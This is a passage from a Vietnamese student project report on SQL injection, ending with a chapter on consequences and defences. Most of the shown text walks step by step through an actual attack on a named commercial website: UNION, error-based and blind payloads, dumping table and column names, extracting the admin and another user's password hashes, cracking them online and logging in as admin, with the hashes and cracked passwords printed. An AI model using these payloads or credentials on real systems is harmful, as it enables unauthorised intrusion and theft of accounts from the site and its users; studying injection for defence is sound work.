Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.55 MB, 30 trang )
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Ở trên thanh hackbar của Firefox, ta vào SQL > Union Select
statement và nhập vào số cột của bảng là 20 cột > OK. Hackbar sẽ
tự động điền câu lệnh union cho ta trên thanh địa chỉ:
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 18
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Chạy Excute. Để tìm được cột lỗi. Cột lỗi sẽ được hiện lên những
con số, trường hợp nếu không hiện lên số cột lỗi, ta sẽ sử dụng một
trong các cách sau:
+
+
+
+
+
+
Viewsource
Xem file ảnh bị lỗi để thấy số
Thay số bằng null (vd id=-328 thì thay id=null UNION….)
Thay các column(field) bằng null (vd :UNION SELECT
null,null,….)
Bypass filter (mod_security).
TH hiện ra thông báo thế này: The used SELECT statements
have a different number of columns
Union
select
như
sau:
id=1+and+1=0+UNION
SELECT+1,2…
Hoặc dùng error base:
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 19
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
And (Select 1 From(Select Count( * ),Concat(CHAR (124),
(Select
concat_ws(0x7c,version(),database(),user())),floor
(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables
Group
By
x)a)–
–
and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–
or
1
group
by
concat_ws(0x7c,version(),database(),current_user,f
loor(rand(0)*2)) having min(0) or 1–
Hoặc dùng blind: and substring(version(),1,1)=5
Tuỳ thời cơ mà biến hoá chúng.
Ta tìm được cột lỗi là 3 và 7. Ta sẽ chọn một trong hai cột bị lỗi này
để từ đó tìm ra lỗ hổng của database. Ở đây ta sẽ khai thác cột 3 để
tìm xem trong database này có những bảng nào.
Để biết được tên bảng, tên cột, ta sử dụng đối tượng
information_schema. Đối tượng này cung cấp các thông tin về
tables, columns, views và procedures… của cơ sở dữ liệu. Ở đây ta
muốn tìm thông tin về các bảng trong cơ sở dữ liệu nên ta sẽ truy
vấn từ information_schema.tables. Lệnh Group_concat để nối
nhiều giá trị với nhau.
Chèn
đoạn
mã
này
vào
số
3:
unhex(hex(group_concat(table_name))) và câu lệnh sau số 20: from
information_schema.tables. Sau đó excute địa chỉ trên. Nó sẽ hiện
ra toàn bộ tên bảng có trong database:
http://www.hoanghaidoor.vn/?frame=product_detail&id=null
UNION SELECT 1,2,unhex(hex(group_concat(table_name))) ,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
from
information_schema.tables
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 20
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S
ET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGIN
ES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY
_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PRO
CESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTIN
ES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSI
ON_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CO
NSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGE
S,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BU
FFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPME
M,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET
,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,tbl_acce
ss,tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_orde
r,tbl_order_detail,tbl_product,tbl_product_category,tbl_product_ho
me,tbl_product_pro,tbl_product_sell,tbl_product_special,tbl_user,t
bl_visitor
Chúng ta không quan tâm lắm nhưng table dạng như này:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S
ET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,… vì đó chỉ là
những table của hệ thống thôi, quan trọng là xác định được table
chứa admin trong mớ hỗn độn phía trên.
Ta có thể xem thông tin bất cứ bảng nào ta muốn, ở đây ta sẽ xem
thông tin từ bảng tbl_user để lấy thông tin user đăng nhập. Để lấy
thông tin các cột trong bảng ta thay các khoá table thành column và
table_schema thành table_name. Để truy cập cho đúng thì ta phải
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 21
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
chuyển tên bảng cần lấy thông về cơ sở dữ liệu dạng SQL. Để làm
việc này ta bôi đen tên bảng (tbl_user), sau đó vào SQL > MySQL
> MySQL CHAR().
http://www.hoanghaidoor.vn/?frame=product_detail&id=null
UNION SELECT 1,2,unhex(hex(group_concat(column_name))) ,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
from
information_schema.columns where table_name=tbl_user
Excute truy vấn trên, ta được thông tin các cột trong bảng tbl_user.
Bao gồm: id,uid,pwd
Sau công việc này ta đã xác định được 2 cloumn quan trọng nhất là
uid và pwd. Ta tiến hành lấy thông tin. Bằng cách:
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 22
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Chèn đoạn mã sau vào số 3: group_concat(uid,0x3a,pwd) và sau số
20 sẽ là: from tbl_user – (đây chính là table chứa id và pwd mà ta
đang
khai
thác).
Lưu ý: 0x3a chính là ký tự “:” ngăn cách id và pwd, hoặc 0x2f hay
0x7c là “/”.
http://www.hoanghaidoor.vn/?frame=product_detail&id=null
UNION
SELECT
1,2,group_concat(uid,0x3a,pwd)
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from tbl_user
,
Sau đó ấn Execute, ta nhận được uid cũng như pwd dưới dạng mã
hóa md5:
admin:827ccb0eea8a706c4c34a16891f84e7b
phamvan:48472492c504e777a664efeff27d9fee
Để
giải
mã
password,
truy
cập
links:
http://md5decrypt.net/en/#answer
nhập
827ccb0eea8a706c4c34a16891f84e7b sau đó ấn giải mã (Dercypt).
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 23
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Như vậy tài khoản admin có password là 12345. Ta sử dụng thông
tin trên để đăng nhập vào hệ thống, kết quả là đăng nhập thành
công. Tương tự, giải mã password của tài khoản phamvan ta được:
52041688.
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 24
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 25
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Như vậy ta sử dụng câu lệnh Select để khai thác lỗi SQL Injection,
xem thông tin cơ sở dữ liệu của ứng dụng web và từ đó đã lấy được
thông tin đăng nhập của tài khoản admin.
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 26
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
CHƯƠNG IV: HẬU QUẢ CỦA SQL INJECTION VÀ
CÁCH PHÒNG CHỐNG SQL
I.
Hậu quả
Hậu quả lớn nhất mà SQL Injection gây ra là: Làm lộ dữ liệu trong database.
Tuỳ vào tầm quan trọng của dữ liệu mà hậu quả dao động ở mức nhẹ cho đến
vô cùng nghiêm trọng.
Nếu lộ dữ liệu credit card, hacker có thể dùng credit card để “mua sắm hộ”
hoặc chôm tiền của người dùng. Hàng triệu Credit Card chùa tồn tại trên
mạng, do hacker chôm từ các trang bán hàng thông qua SQL Injection.
Lộ dữ liệu khách hàng có thể ảnh hưởng rất nghiêm trọng đến công ty. Hình
ảnh công ty có thể bị ảnh hưởng, khách hàng chuyển qua sử dụng dịch vụ
khác, dẫn đến phá sản v…v
Lỗ hỗng này cũng ảnh hưởng lớn đến khách hàng. Do họ thường dùng chung
một mật khẩu cho nhiều tài khoản, chỉ cần lộ mật khẩu một tài khoản thì các
tài khoản khác cũng lộ theo.
Trong nhiều trường hợp, hacker không chỉ đọc được dữ liệu mà còn có
thể chỉnh sửa dữ liệu. Lúc này hacker có thể đăng nhập dưới vai trò admin,
lợi dụng hệ thống, hoặc xoá toàn bộ dữ liệu để hệ thống ngừng hoạt động.
II.
Cách phòng chống
Hầu hết các mã nguồn mở bây giờ đều không quá lo về lỗi này, tuy nhiên
plugin hay module được viết bởi nhiều lập trình viên khác nhau lại hay để ra
sơ hở tạo điều kiện cho lỗi phát sinh. Cách phòng tránh thì có nhiều cách,
trong đó:
Mặc dù SQL rất nguy hại nhưng cũng dễ phòng chống. Gần đây, hầu như
chúng ta ít viết SQL thuần mà toàn sử dụng ORM (Object-Relational
Mapping) framework. Các framework web này sẽ tự tạo câu lệnh SQL nên
hacker cũng khó tấn công hơn. Tuy nhiên, có rất nhiều site vẫn sử dụng SQL
thuần để truy cập dữ liệu. Đây chính là mồi ngon cho hacker. Để bảo vệ bản
thân trước SQL Injection, ta có thể thực hiện các biện pháp sau.
•
Lọc dữ liệu từ người dùng: Cách phòng chống này tương tự như XSS. Ta
sử dụng filter để lọc các kí tự đặc biệt (; ” ‘) hoặc các từ khoá (SELECT,
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 27
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
UNION) do người dùng nhập vào. Nên sử dụng thư viện/function được
cung cấp bởi framework. Viết lại từ đầu vừa tốn thời gian vừa dễ sơ sót.
•
Không cộng chuỗi để tạo SQL: Sử dụng parameter thay vì cộng chuỗi.
Nếu dữ liệu truyền vào không hợp pháp, SQL Engine sẽ tự động báo lỗi, ta
không cần dùng code để check.
•
Không hiển thị exception, message lỗi: Hacker dựa vào message lỗi để
tìm ra cấu trúc database. Khi có lỗi, ta chỉ hiện thông báo lỗi chứ
đừng hiển thị đầy đủ thông tin về lỗi, tránh hacker lợi dụng.
•
Phân quyền rõ ràng trong DB: Nếu chỉ truy cập dữ liệu từ một số bảng,
hãy tạo một account trong DB, gán quyền truy cập cho account đó
chứ không nên dùng account root hay sa. Lúc này, dù hacker có inject
được sql cũng không thể đọc dữ liệu từ các bảng chính, sửa hay xoá dữ
liệu.
•
Backup dữ liệu thường xuyên: Dữ liệu phải thường xuyên được backup
để nếu có bị hacker xoá thì ta vẫn có thể khôi phục được.
•
Viết lại đường dẫn của website có thể phòng được lỗi SQL Injection, vì
hacker thường phải tìm một sơ hở của website trên đường link hoặc trên
form nhập liệu của người dùng, khi không nhìn thấy biến query thì hacker
phải tìm cách khác để thử lỗi.
•
Lọc kĩ những gì người dùng nhập
Với số người dùng nhập vào, để ăn chắc các bạn lọc qua các hàm như:
$num = ( int ) $_POST['num'];
$num = is_numeric ( $num ) ? $num : 0;
Ví dụ sử dụng sprinf:
$data = sprintf('select * from %s where data = %d limit 1', $table,
$must_be_number );
Sử dụng kết hợp với mysql_real_escape_string() để câu SQL được an
toàn:
$data = sprintf('select * from %s where data = %d limit 1', $table,
mysql_real_escape_string($must_be_number ) );
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 28